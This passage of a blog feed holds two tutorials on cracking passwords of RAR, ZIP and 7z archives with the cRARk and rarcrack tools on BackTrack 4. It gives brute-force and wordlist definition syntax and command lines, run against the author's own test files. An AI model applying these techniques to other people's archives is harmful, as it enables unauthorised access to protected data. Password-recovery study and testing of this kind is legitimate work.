src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-7616170975701738609</id><published>2010-02-25T20:24:00.020+01:00</published><updated>2011-11-20T08:24:28.639+01:00</updated><title type='text'>RAR password cracking with cRARk</title><content type='html'>cRARk is a .rar archive password cracker, but unlike rarcrack, can be customised to a far greater extent to allow partial passwords, wordlists, complementing wordlists with characters and more.&lt;br /&gt;Also this programme is CUDA enabled which allows for a vast increase in testing speed.&lt;br /&gt;This of course only if you have a capable graphics card. (&lt;a href="http://www.nvidia.com/object/cuda_gpus.html"&gt;http://www.nvidia.com/object/cuda_gpus.html&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;cRARk is not installed by default on BT4 Final, a shame really as it is more versatile than rarcrack in my opinion. To install it though is a piece of cake ;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;apt-get install crark&lt;/div&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;!&lt;/span&gt; During the install, the program tried to install the CUDA dependacies as well, in order for this to work properly you will need to exit 'X'. To do this press Ctrl + Del + Backspace to get back into Command Line only.&lt;br /&gt;So seems best way to install is to get online, then quit X with Ctrl + Del + Backspace, and then run the apt-get install from the command line interface.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The machine I installed it onto does not have any CUDA capabilities, so this post will only go through some of the functions of cRARk without testing the CUDA improvements on cracking speed.&lt;br /&gt;I may later try to do a full HDD install on my desktop to see if I can get my 8800GTS to work.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So after installing cRARk, lets fire it up through either the menu;&lt;br /&gt;&lt;div style="color: lime;"&gt;Start/Dragon --&amp;gt; Backtrack --&amp;gt; Privilage Escalation --&amp;gt; Password Attacks --&amp;gt; OfflineAttacks --&amp;gt; Crark&lt;/div&gt;or command line ;&lt;br /&gt;&lt;div style="color: lime;"&gt;cd /pentest/passwords/crark/&lt;/div&gt;&lt;br /&gt;Lets check out the files the readme's and what general options are advised;&lt;br /&gt;&lt;div style="color: lime;"&gt;ls&lt;/div&gt;&lt;div style="color: lime;"&gt;./crark&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crark.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crark.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #6aa84f;"&gt;BRUTEFORCE ATTACKS&lt;/div&gt;&lt;div style="color: #6aa84f;"&gt;================ &lt;/div&gt;&lt;br /&gt;To start off we need to create the password.def file. To do this simply copy either the english.def file or the crackme.def file to password.def ;&lt;br /&gt;&lt;div style="color: lime;"&gt;cp crackme.def password.def&lt;/div&gt;&lt;br /&gt;Then to modify the password.def file to reflect the options we want to use.&lt;br /&gt;&lt;br /&gt;Here I will be working with simple password protected files stored on my flashdrive (mounted on /media/8GB/)&lt;br /&gt;&lt;br /&gt;Testing password protected test100.rar file with password 100 ;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;nano password.def&lt;/div&gt;Under the double hash enter the testing methods desired, in this case as only numbers ;&lt;br /&gt;&lt;div style="color: yellow;"&gt;[$1] *&lt;/div&gt;Save and exit&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/numerical.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/numerical.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As my system cannot use CUDA I will disable it with the -c command when testing.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crark -c /media/8GB/test100.rar&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/numeric-crack.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/numeric-crack.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;For checking password protected testabc.rar file with lowercase letters only ;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;nano password.def&lt;/div&gt;&lt;div style="color: yellow;"&gt;[$a] *&lt;/div&gt;Save and exit.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/lowercase.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/lowercase.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;&lt;br /&gt;&lt;br /&gt;./crark -c /media/8GB/testabc.rar&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/lowercasecrack.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/lowercasecrack.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;For checking a password protected test-ABC.rar with uppercase characters only ;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;nano password.def&lt;/div&gt;&lt;div style="color: yellow;"&gt;[$A] *&lt;/div&gt;Save and exit &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/uppercase.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/uppercase.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;&lt;br /&gt;./crark -c /media/8GB/test-ABC.rar&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/uppercasecrack.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/uppercasecrack.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To check all of the above on password protected testaB1.rar ;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;nano password.def&lt;/div&gt;&lt;div style="color: yellow;"&gt;[$a $A $1] *&lt;/div&gt;Save and exit&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/alphanumeric.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/alphanumeric.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;&lt;br /&gt;./crark -c /media/8GB/testaB1.rar&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/alphanumericcrack.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/alphanumericcrack.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;&lt;i&gt;&lt;b&gt;!!&lt;/b&gt; &lt;span style="color: #cccccc;"&gt;It is important to note that cRARk will start checking based on the same sequence as the characters are entered in the definition file.&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style="color: #cccccc;"&gt;&lt;i&gt;So in the above example entering the character information in the definition file as $1 $a $A would take a lot longer to find the password then if using $a $A $1 .&lt;/i&gt;&lt;/div&gt;&lt;div style="color: #cccccc;"&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style="color: #cccccc;"&gt;&lt;i&gt;The end result will be the same, cRARk will find the password, but the time needed for checking will be severely affected.&lt;/i&gt;&lt;/div&gt;&lt;div style="color: #cccccc;"&gt;&lt;i&gt;(I thought I had messed up somewhere earlier on when I changed character sequence in definition file and it took longer than previous attempts).&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;To go all out and also include special characters ;&lt;br /&gt;&lt;div style="color: lime;"&gt;nano password.def&lt;/div&gt;&lt;div style="color: yellow;"&gt;[$a $A $1 $!] *&lt;/div&gt;Save and exit.&lt;br /&gt;&lt;br /&gt;To test the password.def file and see whether the commands are going to work OK, the programme can test run the definitions using the -v option ;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crark -c -v /media/8GB/test100.rar&lt;/div&gt;&lt;br /&gt;This wont actually start the cracking process, but will print the characters on screen so you can check whether its doing what you want it to.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To specify the number of&amp;nbsp; characters, the options -l &amp;amp; -g can be used.&lt;br /&gt;So to specify a minimum of 3 characters and a maximum of 5 characters;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crark -c -l3 -g5 /media/8GB/testabc.rar&lt;/div&gt;&lt;br /&gt;The bruteforce attempts resulted in an average of around 60 pass/sec on my netbook and around 160 pass/sec on my desktop (windows version of cRARk).&lt;br /&gt;With CUDA this will be greatly enhanced, but have to see if/when I can get that going.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #6aa84f;"&gt;WORDLIST/DICTIONARY ATTACKS&lt;/div&gt;&lt;div style="color: #6aa84f;"&gt;======================&lt;/div&gt;&lt;br /&gt;cRARk also has the option to check passwords from a wordlist file.&lt;br /&gt;To do this the password.def file needs to be adjusted to specify the location of the wordlist with $w, in this case I have copied a small english wordlist called english.dic into cRARk's directory.&lt;br /&gt;(You can of course also specify an alternative location where the wordlist is) &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/wordlist.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/wordlist.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;Then we need to specify that cRARk will use a wordlist in password.def ; &lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;nano password.def&lt;/div&gt;&lt;div style="color: yellow;"&gt;$w = "english.dic"&lt;/div&gt;&lt;div style="color: yellow;"&gt;##&lt;/div&gt;&lt;div style="color: lime;"&gt;&lt;span style="color: yellow;"&gt;$w&lt;/span&gt;&lt;/div&gt;Save and exit.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/wordlistnano.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/wordlistnano.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crark -c /media/8GB/testAmsterdam.rar&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/wordlistcrack.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/wordlistcrack.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;The dictionary attacks averaged around 20 pass/sec on my netbook and I understand that there is no CUDA support for the dictionary attacks..&lt;br /&gt;So having a focussed wordlist is a must !&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To allow an easier choice of options, it is also possible to prepare some definition files and then specify these with the -p option.&lt;br /&gt;For instance you can prepare a .def file which will use a wordlist file as follows and then keep there for future use ; &lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;cp password.def wordlist.def&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/wordlist-def.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/wordlist-def.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Then to specify to use the newly created wordlist.def file, the -p option is included ; &lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crark -c -pwordlist.def /media/8GB/testAmsterdam.rar&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/wordlist-defcrack.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/wordlist-defcrack.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There are a huge number of options to play with when it comes to the wordlist usage, extra options can be included to capitalize / invert / mashup / add numbers etc etc etc&lt;br /&gt;&lt;br /&gt;I may update the post to show some of these options on a test wordlist. &lt;br /&gt;&lt;br /&gt;It will be interesting to see how far I can get with the CUDA side of things, however that would mean a full HDD install on the desktop (doesnt work in VMware).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;ADVANCED DICTIONARY OPTIONS&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Following some queries in the comments I got to checking how the wordlist and the wordlist&lt;br /&gt;manipulations work.&lt;br /&gt;It truly is fantastically (and terrifyingly) customizable..&lt;br /&gt;&lt;br /&gt;If for instance you have a list of words and you know that the password is a combination&lt;br /&gt;of a couple of these words, then you can tell crark to do that in the .def file as follows;&lt;br /&gt;For 2 words from the wordlist in succession;&lt;br /&gt;&lt;br /&gt;wordlist.def&lt;br /&gt;&lt;span class="Apple-style-span" style="color: yellow;"&gt;$w = "wordlist.txt"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: yellow;"&gt;##&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: yellow;"&gt;$w $w&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;For 3 words from the wordlist in succession;&lt;br /&gt;&lt;br /&gt;wordlist.def&lt;br /&gt;&lt;span class="Apple-style-span" style="color: yellow;"&gt;$w = "wordlist.txt"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: yellow;"&gt;##&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: yellow;"&gt;$w $w $w&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crark01.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="601" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crark01.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you have 2 wordlists and you know that the password will be a combination of&lt;br /&gt;words of the 2 lists (only 1 way, so words from 2nd list appended to words from 1st list for instance)&lt;br /&gt;then you&amp;nbsp;can identify the 2nd wordlist with the $u function ;&lt;br /&gt;&lt;br /&gt;wordlist.def&lt;br /&gt;&lt;span class="Apple-style-span" style="color: yellow;"&gt;$u = "wordlist1.txt"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: yellow;"&gt;$w = "wordlist2.txt"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: yellow;"&gt;##&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: yellow;"&gt;$u $w&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So in the above all words from wordlist2.txt will be suffixed/appended to each word in wordlist1.&lt;br /&gt;&lt;br /&gt;And of course any number of combinations of the above can be made.&lt;br /&gt;&lt;br /&gt;In the below example ;&lt;br /&gt;wordlist.def&lt;br /&gt;&lt;span class="Apple-style-span" style="color: yellow;"&gt;$w = "test1.txt"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: yellow;"&gt;$u = "test2.txt"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: yellow;"&gt;##&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: yellow;"&gt;$u$w$u&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crark02.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="600" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crark02.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Author's Helpfile &amp;amp; Linkage ;&lt;br /&gt;&lt;a href="http://www.crark.net/cRARk.html"&gt;http://www.crark.net/cRARk.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;b&gt;Video on the above ;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;a href="http://blip.tv/file/3275276"&gt;http://blip.tv/file/3275276&lt;/a&gt;&lt;br /&gt;or&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=viYdoZiCYaA"&gt;http://www.youtube.com/watch?v=viYdoZiCYaA&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-7616170975701738609?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/7616170975701738609/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2010/02/rar-password-cracking-with-crark.html#comment-form' title='34 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/7616170975701738609'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/7616170975701738609'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2010/02/rar-password-cracking-with-crark.html' title='RAR password cracking with cRARk'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><thr:total>34</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-4359904169384412648</id><published>2009-11-06T15:17:00.009+01:00</published><updated>2009-11-09T20:27:12.801+01:00</updated><title type='text'>Cracking password protected archive files with rarcrack</title><content type='html'>There are a large number of password cracking (or to word it in a nice fashion, password recovery) programs available to crack passwords of any number of file type.&lt;br /&gt;&lt;br /&gt;Here I will be looking at cracking password protected archive files with rarcrack which is included in the back|track 4 distro.&lt;br /&gt;&lt;br /&gt;First lets navigate to rarcrack in back|track, see the help file and which files are located in the rarcrack directory.&lt;br /&gt;&lt;div style="color: lime;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;cd /pentest/passwords/rarcrack&lt;br /&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;./rarcrack --help&lt;br /&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;ls&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/rarcrack.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/rarcrack.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There are 3 test files included in the rarcrack directory, but lets try rarcrack on some of the files which I created which are on a USB drive; /media/4G/&lt;br /&gt;&lt;br /&gt;Starting an attack ;&lt;br /&gt;&lt;br /&gt;This below on a zip file created with WinRar;&lt;br /&gt;&lt;div style="color: lime;"&gt;./rarcrack --type zip --threads 8 /media/4G/TEST6-winrar.zip&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/TEST6-winrar.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/TEST6-winrar.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;This one below on a zip file created in 7-Zip with ZipCrypto encryption;&lt;br /&gt;&lt;span style="color: lime;"&gt;./rarcrack --type zip --threads 8 /media/4G/TEST-ZipCrypto.zip&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/TEST-ZipCrypt.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/TEST-ZipCrypt.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This one below on a 7z archive with AES256 encryption;&lt;br /&gt;&lt;div style="color: lime;"&gt;./rarcrack --type 7z --threads 8 /media/4G/TEST1-AES256.7z&lt;br /&gt;&lt;/div&gt;So Slow !&lt;br /&gt;&lt;br /&gt;When a crack attempt is started, an xml status file is created in the directory where the archive file is located.&lt;br /&gt;So we can stop the crack and edit the values of the xml file to help speed up the cracking process.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/TEST1-1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/TEST1-1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;This xml file can be editted to change the character list being used for the crack, in this case as I know the&lt;br /&gt;password is a numerical value, we can edit the xml file so that rarcrack only checks numbers;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;nano /media/4G/TEST1-AES256.7z.xml &lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/TEST1-2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/TEST1-2.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Changing the character set to numerical only; &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/TEST1-3.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/TEST1-3.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Now we restart the attack on the 7z file and the attack will resume but now only check numerical values;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;./rarcrack --type 7z --threads 8 /media/4G/TEST1-AES256.7z&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/TEST1-4.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/TEST1-4.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/TEST1-5.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/TEST1-5.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;Video on the above using rarcrack can be found here ;&lt;br /&gt;&lt;/div&gt;&lt;a href="http://blip.tv/file/2816224"&gt;http://blip.tv/file/2816224&lt;/a&gt;&lt;br /&gt;or&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=BMFn-jps3iY"&gt;http://www.youtube.com/watch?v=BMFn-jps3iY&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Although I am trying to stick to the back|track tools in my posts, I have to divert somewhat here and mention a Windows tool by Elcomsoft; "Advanced Archive Password Recovery" (ARCHPR).&lt;br /&gt;It is a great tool and Elcomsoft have password recovery tools for a fantastic number of filetypes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;It has an easy interface with various cracking options such as Bruteforce and Dictionary attacks, and is also able to include characters which you think may be correct and mask those you want testing, as in; pass????.&lt;br /&gt;&lt;br /&gt;The speed reached is much better in most cases than what rarcrack achieves and also is more flexible on which files can be chosen, although it does not support 7zip created archives.&lt;br /&gt;&lt;br /&gt;With rarcrack I was having trouble with it catching the passwords on zip files with AES encryption, ARCHPR has no trouble with these.&lt;br /&gt;&lt;br /&gt;ARCHPR in action with bruteforce options 